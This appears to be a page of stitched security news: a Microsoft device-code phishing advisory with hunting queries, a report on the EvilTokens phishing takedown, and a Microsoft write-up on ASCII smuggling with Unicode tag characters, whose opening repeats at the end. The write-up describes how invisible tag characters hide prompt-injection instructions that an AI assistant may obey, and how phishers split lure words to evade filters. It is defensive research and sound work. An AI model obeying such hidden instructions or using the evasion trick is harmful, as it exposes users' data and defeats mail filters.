Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
Create alerting of suspicious inbox-rule creation to quickly identify and triage evidence of business email compromise (BEC) and phishing campaigns. This playbook helps defenders investigate any incident related to suspicious inbox manipulation rules configured by threat actors and take recommended actions to remediate the attack and protect networks.
Microsoft recommends the following best practices to further help improve organizational defenses against phishing and other credential theft attacks:
Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multifactor authentication.
For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in.
Require multifactor authentication (MFA). Implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefit of centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
If there are indications such as alerts that a user’s refresh token is compromised, disable the device and revoke all existing refresh tokens. Disabling the device stops PRTs from working, and revoking the refresh tokens stops any refresh tokens that were issued using the PRT from working. Follow steps from Microsoft’s token theft playbook when responding to alerts related to compromised identities.
Enable network protection and web protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
Microsoft Defender XDR detections
Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
Using Safe Links and Microsoft Entra ID Protection raises high-confidence device code phishing alerts from Defender.
Tactic
Observed activity
Microsoft Defender coverage
Initial access
Device code authentication
Microsoft Defender for Identity – Anomalous OAuth device code authentication activity
Credential access
Token theft following device code authentication
Microsoft Defender for Identity – Anomalous token exchange following device code authentication
Microsoft Defender XDR – User account compromise via OAuth device code phishing – Suspicious Azure authentication through possible device code phishing
Persistence
Device registration following anomalous device code authentication
Microsoft Defender for Identity – Suspicious Entra device join or registration
Microsoft Defender XDR – Device registration after potential device code phishing
Discovery
Anomalous volume of Microsoft Graph API requests following device code flow authentication
Microsoft Defender XDR – Anomalous Microsoft Graph API activity after potential device code phishing – Anomalous Microsoft Graph API POST activity after potential device code phishing
Defense evasion
Malicious inbox rule created after anomalous device code authentication
Microsoft Defender XDR – Suspicious inbox rule created after potential device code phishing sign-in
Microsoft Security Copilot
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
Threat intelligence reports
Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use either the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.
Hunting queries
Microsoft Defender XDR customers can use the following queries to detect possible phishing attempts. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential EvilTokens-related indicators for more than a week, go to the Advanced hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.
If a query provides high value insights into possible malicious or otherwise anomalous behavior, you can create a custom detection rule based on that query and surface those insights as custom alerts. To do this, run the query in the Advanced hunting page and select Create detection rule.
Suspicious URL clicked
This query correlates Microsoft Defender for Office 365 signals and Microsoft Entra ID identity data to find the relevant endpoint event BrowerLaunchedToOpen in Microsoft Defender XDR. This event reflects relevant clicks on the malicious URL in the spear-phishing email recognized by Microsoft Defender for Office 365.
AlertInfo
| where ServiceSource =~ "Microsoft Defender for Office 365"
| join (
AlertEvidence
| where EntityType =="Url"
| project AlertId, RemoteUrl
)
on AlertId
| join (
AlertEvidence
| where EntityType =="MailMessage"
| project AlertId, NetworkMessageId
)
on AlertId
// Get the unique NetworkMessageId for the email containing the Url
| distinct RemoteUrl, NetworkMessageId
| join EmailEvents on NetworkMessageId
// Get the email RecipientEmailAddress and ObjectId from the email
| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId
| join kind = inner IdentityInfo on $left.RecipientObjectId == $right.AccountObjectId
| distinct RemoteUrl, NetworkMessageId, RecipientEmailAddress , RecipientObjectId, OnPremSid
// Get the Url click event on the recipient device.
| join kind = inner
(DeviceEvents
| where ActionType == "BrowserLaunchedToOpenUrl"| where isnotempty(RemoteUrl)
| project UrlDeviceClickTime = Timestamp , UrlClickedByUserSid = RemoteUrl,
InitiatingProcessAccountSid, DeviceName, DeviceId, InitiatingProcessFileName
)
on $left.OnPremSid == $right.InitiatingProcessAccountSid and $left.RemoteUrl == $right.UrlClickedByUserSid
| distinct UrlDeviceClickTime, RemoteUrl, NetworkMessageId, RecipientEmailAddress, RecipientObjectId,
OnPremSid, UrlClickedByUserSid, DeviceName, DeviceId, InitiatingProcessFileName
| sort by UrlDeviceClickTime desc
Determine successfully delivered phishing emails to Inbox/Junk folder.
This query identifies threats that were successfully delivered to Inbox/Junk folder.
Microsoft Sentinel customers can use the following queries to detect phishing attempts. These queries can help customers remain vigilant and safeguard their organization from phishing attacks:
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Microsoft, along with a group of industry partners, disrupted EvilTokens, a short-lived but highly consequential cybercrime platform that investigators linked to more than 12,000 compromised Microsoft customer email inboxes across more than 10,000 organizations globally, the company said Tuesday.
Acting on federal court order Sept. 15, Microsoft and partners seized 50 websites the phishing-as-a-service used for operations and disabled more than 175 domains linked to EvilTokens’ supporting infrastructure.
EvilTokens, launched in February 2026, was “a powerful cybercrime platform that used AI at every step of the attack chain — from compromising email accounts to designing intricate roadmaps for financial fraud and scams,” Steven Masada, associate general counsel and general manager of Microsoft’s Digital Crimes Unit, wrote in a blog post.
About 1,000 cybercriminals used EvilTokens over the course of its operation, a Microsoft spokesperson told CyberScoop.
The service was centered on an AI-style chatbot that cybercriminals used to analyze victims’ inboxes, identify trusted relationships, payment authorizations and other sensitive details that could facilitate fraud.
“AI was not simply helping attackers write more convincing messages. It helped them decide who to target, who to impersonate, and how to most effectively exploit the relationship to extract as much money as possible,” Masada wrote.
EvilTokens was one of the most widely used phishing-as-a-service platforms prior to its takedown. It facilitated business-email compromise campaigns by stealing session tokens that allowed cybercriminals to sift through a victim’s inbox and maintain persistent access.
“We cannot estimate the total fraud attributable to all EvilTokens activity. However, we were able to correlate at least 13 complaints filed with the FBI’s Internet Crime Complaint Center to EvilTokens-linked activity, representing approximately $1.7 million in reported losses,” a Microsoft spokesperson said. “Because many incidents go unreported and not all victims can be definitively linked to specific campaigns, we believe this is a conservative estimate.”
Victims of EvilTokens were largely concentrated in the United States, Canada, the United Kingdom, Australia, India and France, according to Microsoft. SpyCloud, which supported the takedown, identified compromised email domains spanning 79 countries.
Microsoft said it also identified two men behind EvilTokens — Felix Utomi and Waidi Segun Adams — and attributes the development and support of the platform to Storm-2992, a threat actor unaffiliated with any other known cybercrime groups.
The United Kingdom’s Metropolitan Police acted on that information Sept. 18 when it served warrants in the greater London area, arrested the men accused of making articles for use in fraud and money laundering and seized their digital devices.
The Metropolitan Police said it received information from Microsoft about EvilTokens’ administrators in August. Utomi and Adams were released on bail as the investigation continues.
“The two primary operators identified in our investigation were residing in the U.K.,” a spokesperson for Microsoft told CyberScoop. “While our investigation focused on those individuals, we believe others may have supported the operation in various capacities.”
Microsoft’s legal filing in the U.S. District Court for the Eastern District of Virginia refers to five additional unidentified people allegedly acting as support personnel and users.
Microsoft and others involved in the EvilTokens takedown, including Health-ISAC, Cloudflare, OpenAI, Shadowserver and TRM Labs, didn’t fully quantify how much fraud the service enabled, but it gained popularity quickly among cybercriminals and was lucrative for its operators.
Coinbase, which also aided the investigation into EvilTokens, said it traced about $1.1 million in revenue for EvilTokens from its paying customers. The virtual currency company’s threat researchers found more than 1,000 deposits to EvilTokens from more than 700 distinct addresses through June 2026.
Operators sold access to the service through Telegram for a $1,500 initiation fee and a recurring $500 subscription. EvilTokens significantly lowered the barrier to entry for cybercriminals by including specialized tools for identity attacks, cloud systems, social engineering and financial fraud in a single interface.
The service allowed cybercriminals to map organizational structure and permissions in Microsoft Graph, which enabled lateral movement, researchers said. With active tokens gained through a collection of highly-targeted phishing lures, cybercriminals consistently bypassed multi-factor authentication, email gateways and endpoint security tools.
Microsoft said the platform’s creators developed portions of the platform with AI and it uncovered capabilities from multiple AI models.
“It packaged much of the criminal process into a commercially run service, complete with subscription pricing, customer support, management dashboards and tools designed to move customers from account access toward financial exploitation,” Masada added.
The companies and organizations involved in the globally-coordinated takedown identified and notified potential victims, shared indicators of compromise and shared intelligence with law enforcement about EvilToken’s operators and some of its customers.
Experts advised organizations and employees to treat unsolicited device codes as a red flag, assume compromised accounts are fully cataloged in minutes, and independently verify requests to change payment information or redirect funds.
“The infrastructure supporting EvilTokens has been disrupted, but the model it demonstrated will not disappear with it,” Masada warned.
WASHINGTON — September 17, 2026 — The U.S. Department of Health and Human Services (HHS) Office for Civil Rights (OCR) today announced a settlement with Ambry Genetics Corporation (Ambry) concerning potential violations of the Health Insurance Portability and Accountability Act of 1996 (HIPAA) Security Rule. Ambry, headquartered in Aliso Viejo, California, is a covered entity...
Microsoft researchers observed a high-volume phishing campaign using invisible Unicode tag characters, a technique popularized in AI prompt injection research as ASCII Smuggling. Instead of using these characters to hide instructions from people while exposing them to AI models, the attacker used them to split financial lure words such as ‘funding’ to prevent email filters from parsing them.
The finding emerged from Microsoft Defender for Office 365 prompt injection protection research, showing how AI-era evasion techniques can surface in traditional phishing campaigns. In Microsoft telemetry, hits on a hunting signature designed to detect ASCII-smuggling increased sharply beginning February 9, 2026, and remained elevated on weekdays for approximately three months. Microsoft Defender for Office 365 telemetry showed that the majority of messages were flagged by layered protections rather than by reliance on a single Unicode-specific signal.
What is ASCII smuggling?
“ASCII smuggling” refers to the use of invisible or non-rendering Unicode characters to hide content inside text that looks normal. The most abused range is the Unicode Tags block, U+E0000 to U+E007F. This block contains a shadow copy of the printable ASCII characters (for example, U+E0041 mirrors ‘A’, U+E0061 mirrors ‘a’). The block was originally intended for language tagging and is now largely deprecated.
The important property for an attacker is this: most of these code points are not rendered by typical fonts and user interfaces. A string can therefore carry a message that is not readable to a human but will be processed by any language model or other software that receives a copy of the email content.
Why the AI-security world made it famous
Over the past year, ASCII smuggling became a recurring technique in the prompt injection and cross-prompt injection (XPIA) literature. The attack pattern is straightforward:
An attacker hides instructions inside invisible tag characters embedded in a web page, document, email, or other content.
A human (and many user interfaces) sees nothing unusual.
An AI assistant that ingests the raw text does “see” the hidden characters, decodes them as text, and may be induced to follow threat actor-controlled instructions, potentially including data exposure or unauthorized actions depending on the assistant’s permissions and safeguards.
Because this technique cleanly demonstrates the gap between what the human sees and what the model reads, it appeared frequently in AI red-teaming write-ups, conference talks, and tooling throughout 2025. That attention put a spotlight on the U+E0000-U+E007F range.
Because tag characters are invisible to humans but exist at the text-processing level, the same property that makes them useful for smuggling instructions into a model also makes them useful for obfuscating keywords before a detector evaluates them. The intent is inverted, but the mechanism is similar and a user’s suspicions are not raised.
Writing a practical ASCII-smuggling signature
As part of work on Microsoft Defender for Office 365 prompt injection protection, we built hunting logic for email-borne XPIA and prompt obfuscation patterns: content that looks harmless to users but may carry hidden instructions for an AI system that ingests the raw message. The same hunt designed to identify prompt injection risk in email became the starting point for this phishing-evasion discovery.
One practical way to hunt for ASCII smuggling is to look for messages carrying characters from the Unicode tags block (U+E0000-U+E007F), the hallmark of attempts to hide instructions from, or for, an AI model. That broad signature is a useful starting point, but it needs enough Unicode context to avoid mistaking legitimate tag-character sequences for abuse.
The first version simply flagged any code point in that range, which proved too blunt. It kept firing on a small subset of perfectly legitimate messages – which, on inspection, all contained one of three subdivision flag emojis: the flags of England, Scotland, and Wales – because those emojis are encoded using tag characters.
After those exclusions, remaining hits were mostly benign artifacts from email-security gateways, mailbox providers, and security or AI researchers forwarding or testing messages that contained tag characters. This provided a good baseline where any spikes would indicate abuse of this technique by attackers.
Figure 1. The three subdivision flag emojis – England, Scotland, and Wales – that tripped the naive signature. Each is encoded as a sequence of invisible Unicode tag characters (U+E0000-U+E007F).
Figure 2. The Wales flag emoji pasted into the ASCII Smuggler tool from Embrace The Red. What renders as a single flag is actually a base flag code point (U+1F3F4) followed by an invisible tag-character sequence spelling gbwls (U+E0067 U+E0062 U+E0077 U+E006C U+E0073) and a terminating tag (U+E007F) – the same U+E0000-U+E007F range the signature watches for.
What we observed: ASCII smuggling repurposed for phishing
New activity emerges in telemetry
The tuned ASCII-smuggling signature began as an AI-security hunt for hidden prompt injection content in email. Instead, it surfaced finance-themed phishing messages using the same Unicode range for filter evasion.
On February 9, 2026, signature hits increased sharply. The following chart reflects Microsoft Defender for Office 365 telemetry for the hunting signature over the measured period:
Figure 3. Daily hits on the ASCII smuggling signature, a week before and after onset. Volume holds at a low-thousands baseline through February 8, jumps roughly two orders of magnitude on February 9, peaks at over 2.3 million messages on February 11, and dips sharply on Sunday February 15 before rebounding.
The day before onset (February 8) the signature fired on roughly 21,000 messages; the next day it fired on more than 1.3 million. Most of the emails can be formed into a cluster of roughly 150 finance-themed sender domains.
Observed over three months with a weekly rhythm
Continuing to track the clustered sender domains forward in time, we measured messages matching the activity described every day. The high-volume phase persisted for roughly three months after February 9 and dropped sharply after May 15, 2026. These dates bound the observed use of the specific technique in our telemetry, not the broader campaign, which started earlier without it and continued without it.
Figure 4. Daily Unicode-tag signature hits on finance-themed sender domains, log scale, measured every day from February 9 through June 18, 2026. The deep recurring drops are weekend pauses in the observed signature matches; the decline after May 15 marks the end of the high-volume phase matching this exact activity, followed by a low residual.
Two characteristics stand out:
A strict weekly cadence. The campaign ran hard on weekdays and went almost completely silent every weekend. Sundays’ volume collapsed to a near-zero and then back to full volume the next day. This on/off pattern is typical of scheduled bulk-sending infrastructure.
A long, gradual decline. After an intense first phase, with weekday volumes of 1 to 2.37 million messages, peaking on February 26, the numbers stepped down slowly to roughly 80% less per weekday by late March. The high-volume usage of the technique dropped sharply after May 15, with lower residual activity through mid-June and occasional smaller spikes.
After identifying the activity through this technique-specific signal, we connected it to a broader ActiveCampaign-delivered SBA-themed phishing campaign that Fortra had documented earlier. That earlier reporting indicates the campaign predated the adoption of Unicode tag characters; our analysis focuses on the period and messages in which this method was present, not the full lifetime of the broader campaign.
Not instruction smuggling, but filter evasion
Observed obfuscation pattern
When we looked at a sampling of the flagged messages, the surprise was there were no smuggled instructions to an AI assistant. Instead, the invisible tag characters were inserted inside common financial keywords, splitting them apart so that a literal signature or keyword match would fail.
Figure 5. Example of a finance-themed phishing email promoting business funding and credit-line offers.Figure 6. A second example of a finance-themed phishing email advertising business funding and line-of-credit offers. Similar messages in the campaign inserted invisible Unicode tag characters into financial lure terms to help evade detection.
For example, a finance lure term that appeared normal to the recipient could be transmitted with an invisible tag character in the middle:
funding
became:
fun⟨U+E0020⟩ding
Figure 7. Example of the HTML source of a phishing email from the observed campaign. The yellow rectangles highlight invisible Unicode tag characters.
Here, ⟨U+E0020⟩ represents the invisible Unicode TAG SPACE inserted between letters. In the messages we examined, the campaign did not encode a hidden ASCII message in the tag block; it used a single invisible tag character as a separator sprinkled inside high-signal words. Strictly speaking, this is invisible-character insertion using a code point from the ASCII-smuggling tag block, rather than full message smuggling.
Why it can affect detection
To a recipient, and to parsing pipelines that drop or normalize these characters, the word still reads as funding. To a detector matching the literal string funding, or a regex that does not account for interleaved invisible code points, the byte sequence no longer contains the contiguous keyword. Whether real-world detectors behave that way depends on their normalization step, which is examined below.
The bigger prize for the attacker, though, is not preventing the literal string matches; it is the ML- and NLP-based models that increasingly drive modern spam and phishing classification. Unless a filtering system takes a picture of a message and does OCR extraction over the visual image, it may miss this type of attack. A standard email classifier may not reason over whole words exactly as a human sees them; for efficiency, they can first split text into tokens or sub-word pieces. A clean lure term such as funding may be represented as a familiar token or a familiar sequence of sub-tokens. Insert an invisible U+E0020 into the middle, however, and the tokenizer may no longer see that same familiar unit. It might split the text into fun, an unexpected tag character, and ding; it might emit rare or unknown sub-tokens; or, if normalization runs first, it simply removes the U+E0020 character, leaving funding.
Why it can help defenders
There is also a defensive opportunity. Since this kind of manipulation appears so seldom in normal traffic, its presence becomes a high-confidence signal. A technique meant to make messages look more benign to ML models can instead give defenders a low-false-positive indicator to detect on.
What is known and what is new
Inserting invisible or look-alike characters to break keyword and signature matching is a long-standing evasion technique used in spam and phishing: defenders have for years seen zero-width spaces (U+200B), zero-width non-joiners, the no-break space (U+00A0), soft hyphens, and homoglyph substitutions used to fracture words so naive string matchers fail.
What is new is the specific characters and scale of the campaign:
The character choice. Instead of the usual zero-width space or NBSP, this campaign reached for the Unicode Tags block. That block went from forgotten to famous over the past year because of AI security research into ASCII smuggling and prompt injections.
The scale and discipline. At its peak in Microsoft telemetry, the campaign generated multi-million message daily volume.
A possible detection blind spot. Because the Unicode Tags block is less commonly abused than zero-width spaces or NBSP, defenders should verify that normalization and tokenization pipelines handle tag characters consistently.
Financially themed sending domains
The campaign ran on hundreds of disposable, finance-themed sender domains with lures that resembled business loan, line-of-credit, and advance-funding phishing patterns often associated with fraud or credential-harvesting funnels. This pattern accounted for roughly 96% of the volume flagged by the hunting signature. The signature also fired on other domains, but those were unrelated senders – chiefly email-security gateways and personal mailbox providers – not part of the campaign.
A partial sample of sender domains counts from February 9, 2026 alone illustrates both the naming pattern and the per-domain volume:
Sender domain
Hits (Feb 9, 2026)
guardiangrowthfunding[.]com
30,442
digitalcapitalboost[.]com
27,021
thebusinessloanexpress[.]com
25,048
yourlocfunding[.]com
24,482
advancefundingboost[.]com
24,053
guardiancapitalway[.]com
23,921
harboradvancefunding[.]com
23,595
unitedfundingwave[.]com
23,269
directcapitalboost[.]com
22,875
onlinedirectfinance[.]com
21,195
catalystcapitalharbor[.]com
21,130
rocketboostfunding[.]com
20,908
digitalrushcapital[.]com
20,796
guardianloccapital[.]com
20,781
guardianlocchoice[.]com
20,553
ourbusinessloans[.]com
20,444
directcapitalpulse[.]com
19,767
catalystboostfunding[.]com
19,519
elevatecapitalrush[.]com
19,395
fundingexpresscapital[.]com
18,695
Table 1. Top 20 (by signature hits) of the 148 finance-themed campaign sender domains seen on February 9, 2026, illustrating the naming convention and per-domain volume.
Every domain is just a recombination of the same small vocabulary. The 20 domains above are built from only 28 word-tokens:
advance · boost · business · capital · catalyst · choice · digital · direct · elevate · express · finance · funding · growth · guardian · harbor · loan · loans · loc · online · our · pulse · rocket · rush · the · united · wave · way · your
Sent through a legitimate email-marketing platform
The finance-themed domains in Table 1 are the brand (header / P2) domains the recipient sees, but the actual mail was relayed through infrastructure associated with the legitimate email-marketing platform ActiveCampaign. The platform, which is used widely for marketing, rewrites every outbound link in the message body to route through its own click-tracking domains (acemlnd[.]com and activehosted[.]com), so the URLs the recipient clicks do not point at the brand domain at all – they look like:
Most of the flagged messages carried links associated with the platform’s tracking domains rather than direct links that point directly to the sender-branded domains. The envelope (P1) senders were platform subdomains of the form em-<id>.<brand-domain>.
ActiveCampaign response
Before we published this information, we shared our findings with ActiveCampaign to help them with this abuse, and they wanted us to share the following statement on their work to detect it:
“We appreciate Microsoft’s research and welcome collaboration with the security community to combat this activity. We take abuse, fraud, and security extremely seriously. We tested the specific technique described in this research against our content-moderation systems: messages containing invisible Unicode characters receive the same moderation verdicts as their unobfuscated equivalents, and heavy use of the technique is itself treated as a suspicious signal. We continually invest in improving our detection and prevention capabilities, including expanding our use of AI and machine learning to identify abusive sending behavior earlier in the account lifecycle.”— ActiveCampaign spokesperson
As with any shared sending service, attacker abuse of customer accounts or workflows can complicate reputation-based filtering. By originating from a reputable marketing platform with established IP reputation and authentication, the activity may appear more similar to legitimate marketing traffic and can complicate reputation-based filtering.
Most observed volume also originated from cloud-hosting ranges consistent with the platform’s outbound infrastructure, with the vast majority coming froma single network block, 173.236.20[.]0/24. This indicator helped us cluster the campaign more precisely but note that this is a legitimate segment that belongs to the abused service, and not an IOC on its own.
Identifying the campaign
Content and infrastructure remained consistent for a long time span, providing an effective way to easily fingerprint this phase of the campaign:
Unicode content (primary). Invisible Unicode tag characters in the range U+E0000-U+E007F – specifically U+E0020 – spliced inside keywords. Legitimate mail rarely ever carries these code points: the one routine exception, the England/Scotland/Wales flag emojis, is easily excluded.
Lure and brand pattern. Sender (header / P2) domains assembled from a small finance vocabulary – capital, fund/funding, loan, loc, lend, finance, business, express, growth, solutions, choice, hedge, pillar – recombined into fresh, disposable domains and rotated.
Envelope (P1) pattern. The bulk of mail is relayed through a single email-marketing platform, recognizable by envelope shape rather than any one name:
per-account subdomains shaped em-<digits>.<brand-domain> (regex em-\d+\.), where a small set of reused account numbers fans out across hundreds of brand domains; and
the platform’s shared sending pool, shaped acems<N>[.]com and emsd<N>[.]com (e.g. emsd4[.]com, s9.acems10[.]com). Across the measured activity, ~98.5% of messages matched this envelope pattern, and ~99.8% matched the envelope pattern or the platform’s tracking-URL pattern (below).
Tracking-URL pattern. Click/tracking links on the platform’s domains activehosted[.]com and acemlnd[.]com.
Sending-origin pattern. The bulk of daily volume – about 92% across two measured weeks – originated from a single /24 network block, 173.236.20[.]0/24.
For a high-precision rule, look for the Unicode content pattern combined with the finance-brand pattern, using the sender infrastructure patterns as corroboration.
However, this is just a phase in a long-running broader campaign, that keeps adapting and evolving. The campaign was observed months earlier following a different set of behaviors and continued even after the usage of the specific technique was dropped. During these shifts in behavior, one signature may no longer describe the campaign, while another still matches.
Is there a detection gap?
The potential gap for mail-defense pipelines is whether Unicode tag characters are normalized or flagged before content detections run. In Defender, our filter stack can take a picture of message contents, extract visible text through OCR, and run analysis over that extracted text to avoid these types of tricks. Implementations vary, so defenders should test how these characters are handled in their own pipelines. For MDO protection, over 99% of messages were flagged by layers that did not depend on catching the tag characters directly, including sender, IP, URL and domain reputations, ML spam/phishing classification, brand-impersonation detection, authentication checks and more.
Emerging techniques don’t stay in one domain
ASCII smuggling earned its reputation as an AI attack, hiding instructions from people while leaving them visible to models. This campaign shows the same technique being repurposed for a different objective: obscuring phishing content from detection systems while remaining readable to the intended target.
The broader lesson is that security techniques rarely stay confined to a single domain. As AI-era attack methods become better understood, threat actors may adapt them for use in more traditional threats such as phishing and spam. This case illustrates how techniques that emerge in AI security research can quickly cross over into established attack ecosystems, reinforcing the need for defenders to view emerging threats through a cross-domain lens.
Mitigation and protection guidance
The core defensive principle is simple: normalize before you match. Any content that will be evaluated by keyword, signature, or regex logic should first have invisible and non-rendering Unicode code points stripped or folded, so that splicing them into a word no longer defeats the match.
Recommended controls
Strip or normalize Unicode tag characters (U+E0000-U+E007F) – and other zero-width / invisible code points – from email subject and body text before applying spam and phishing content signatures.
Treat the presence of tag-block characters as a strong anomaly signal. Outside known legitimate tag-sequence uses such as certain subdivision flag emojis, these code points are rare in ordinary mail and can be a high-value anomaly signal.
Look for the behavioral fingerprint. The observed activity had a distinctive shape: bulk volume from churning, finance-themed disposable domains, on a strict weekday-on / weekend-off schedule. A sudden spike of tag-block characters concentrated on finance-themed senders, switching on and off weekly, is a high-confidence campaign indicator.
Apply the same normalization upstream of AI ingestion. The same control that defeats this evasion also reduces XPIA / ASCII-smuggling exposure for AI assistants that ingest email content.
Microsoft protections
Microsoft Defender for Office 365 has heuristic detections in place to flag these the tactics employed in this type of campaign. The detection that first surfaced the spike continues to flag messages carrying Unicode tag-block characters, and the financially themed sending domains are being tracked and blocked as they rotate. Microsoft uses layered email protections, including standard and OCR content analysis, sender and domain reputation, URL detonation and reputation, bulk-mail detection, and anti-phishing models, to reduce reliance on any single signal that an attacker can try to evade.
Microsoft Defender for Office 365 prompt injection protection further helps protect against emails that contain prompt injection attempts, including cases where invisible characters are used to hide instructions from users while exposing them to AI systems. The same normalization and detection principles that reduce ASCII-smuggling-based prompt injection risk also help blunt this email-borne reuse of the technique for phishing evasion. Investments in AI security and traditional email security increasingly reinforce one another.
Coverage depends on product licensing, configuration, and telemetry.
Advanced hunting
These queries run against the EmailEvents Advanced Hunting table (and EmailUrlInfo for URL joins). They hunt the campaign by its infrastructure fingerprint – the finance-vocabulary brand senders and the marketing-platform envelope shape – rather than by the invisible tag characters, as the mail body is not exposed through the table’s columns. These queries are starting points and may require environment-specific tuning. The proactive defense is implemented with multiple layers of the enterprise mail-filtering pipeline.
1. Infrastructure pattern – finance-vocabulary senders relayed with the campaign’s envelope shape. Combines the brand-domain pattern (a header sender built from three or more adjacent finance/brand keywords, e.g. digital+capital+boost) with the envelope (MAIL FROM) shape em-<digits> / acems<digits> / emsd<digits> – the durable fingerprint that held across the entire period we measured.
// Finance/brand vocabulary the operator recombines into disposable domains.
let kwds = @"(capital|fund|hedge|express|solutions|choice|lend|growth|loan|loc|finance|business|pillar|advance|boost|catalyst|digital|direct|elevate|guardian|harbor|online|pulse|rocket|rush|united|wave|way|surge|swift|elite)";
EmailEvents
| where Timestamp > ago(30d)
| where EmailDirection == "Inbound"
// Header sender domain made of 3 or more adjacent finance/brand tokens.
| where SenderFromDomain matches regex strcat("(?i)", kwds, kwds, kwds)
// Envelope (MAIL FROM) shape: em-[digits] | acems[digits] | emsd[digits].
| where SenderMailFromDomain matches regex @"(?i)(em-|acems|emsd)\d"
| sort by Timestamp desc
For extra corroboration you can scope to the single dominant /24 that carried the bulk of this campaign’s volume, 173.236.20[.]0/24, by adding | where ipv4_is_in_range(SenderIPv4, “173.236.20.0/24”). Like the tracking URLs, that network block is shared platform space (it also carries unrelated legitimate newsletters), so use it to scope, never as a standalone filter.
2. Pivot on the platform tracking URLs. Start from the click/tracking links and join back to the mail events. Useful for scoping, but treat it as corroboration, not a verdict: the tracking domains activehosted[.]com and acemlnd[.]com are shared by every legitimate customer of the same marketing platform, so the URL on its own is not a malicious indicator. The finance-brand filter is what keeps this on the campaign; drop it only if you deliberately want a wider search.
let kwds = @"(capital|fund|hedge|express|solutions|choice|lend|growth|loan|loc|finance|business|pillar|advance|boost|catalyst|digital|direct|elevate|guardian|harbor|online|pulse|rocket|rush|united|wave|way|surge|swift|elite)";
EmailEvents
| where Timestamp > ago(30d)
| where EmailDirection == "Inbound"
| where SenderFromDomain matches regex strcat("(?i)", kwds, kwds, kwds)
| join kind=inner (
EmailUrlInfo
| where Timestamp > ago(30d)
| where UrlDomain endswith "activehosted.com" or UrlDomain endswith "acemlnd.com"
| distinct NetworkMessageId
) on NetworkMessageId
| sort by Timestamp desc
3. Filter for prompt injection detection in emails
The feature used in the query below is available for Microsoft Defender for Office 365 Plan 2 or Microsoft 365 E5 customers.
EmailEvents
| where DetectionMethods has "Prompt Injection Protection"
MITRE ATT&CK techniques observed
This campaign exhibits the following MITRE ATT&CK® techniques. The table includes MITRE ATT&CK for phishing/evasion behavior and MITRE ATLAS for the AI-security technique class related to prompt obfuscation.
Invisible Unicode tag characters (U+E0000-U+E007F) spliced into high-signal keywords to break signature and keyword matching and alter downstream tokenization.
Bulk-registered, rotating sender domains used by the campaign. See representative sample in Table 1.
Envelope (P1) sender shaped em-<digits>.<brand> or shared pool acems<N>[.]com / emsd<N>[.]com
Infrastructure pattern
Reputation-laundering relay through a legitimate email-marketing platform
Sending IPv4 block 173.236.20[.]0/24
Infrastructure (IPv4)
Single /24 that carried ~92% of the measured activity volume; legitimate shared email-marketing-platform egress space – a strong scoping/corroboration signal, not a standalone block indicator
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
Bill Toulas reports: A phishing-as-a-service framework called BigBear 2.0 has been used to bypass multi-factor authentication at 258 organizations and steal more than 5,000 Microsoft 365 credentials. Researchers at cybersecurity company CloudSEK gained administrator access to the control panel and found that the service managed 42 VPS nodes, all configured to target Microsoft 365 as...
Microsoft researchers observed a high-volume phishing campaign using invisible Unicode tag characters, a technique popularized in AI prompt injection research as ASCII Smuggling. Instead of using these characters to hide instructions from people while exposing them to AI models, the attacker used them to split financial lure words such as ‘funding’ to prevent email filters from parsing them.
The finding emerged from Microsoft Defender for Office 365 prompt injection protection research, showing how AI-era evasion techniques can surface in traditional phishing campaigns. In Microsoft telemetry, hits on a hunting signature designed to detect ASCII-smuggling increased sharply beginning February 9, 2026, and remained elevated on weekdays for approximately three months. Microsoft Defender for Office 365 telemetry showed that the majority of messages were flagged by layered protections rather than by reliance on a single Unicode-specific signal.
What is ASCII smuggling?
“ASCII smuggling” refers to the use of invisible or non-rendering Unicode characters to hide content inside text that looks normal. The most abused range is the Unicode Tags block, U+E0000 to U+E007F. This block contains a shadow copy of the printable ASCII characters (for example, U+E0041 mirrors ‘A’, U+E0061 mirrors ‘a’). The block was originally intended for language tagging and is now largely deprecated.
